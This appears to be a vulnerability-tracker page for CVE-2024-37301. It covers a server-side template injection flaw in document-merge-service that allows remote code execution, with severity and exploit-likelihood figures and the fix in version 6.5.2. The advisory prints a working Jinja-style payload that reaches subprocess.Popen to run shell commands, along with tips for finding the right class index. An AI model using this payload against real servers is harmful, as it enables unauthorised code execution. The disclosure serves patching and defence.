CVE-2024-37301High· 7.2▾ Twilightdocument-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 39.6 · likelihood 0.2 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
1.0%
1.0% → 1.0%
What kind of vulnerability is it? Who is impacted?
A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.
Has the problem been patched? What versions should users upgrade to?
It has been patched in v6.5.2
Are there any links users can visit to find out more?
Add the following to a document, upload and render it:
{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %}
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}
whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}
uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}
{% endif %}
The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.
document-merge-service < 6.5.2Upgrade to a patched release:
document-merge-service 6.5.2Connected by shared product, vendor, weakness, or advisory.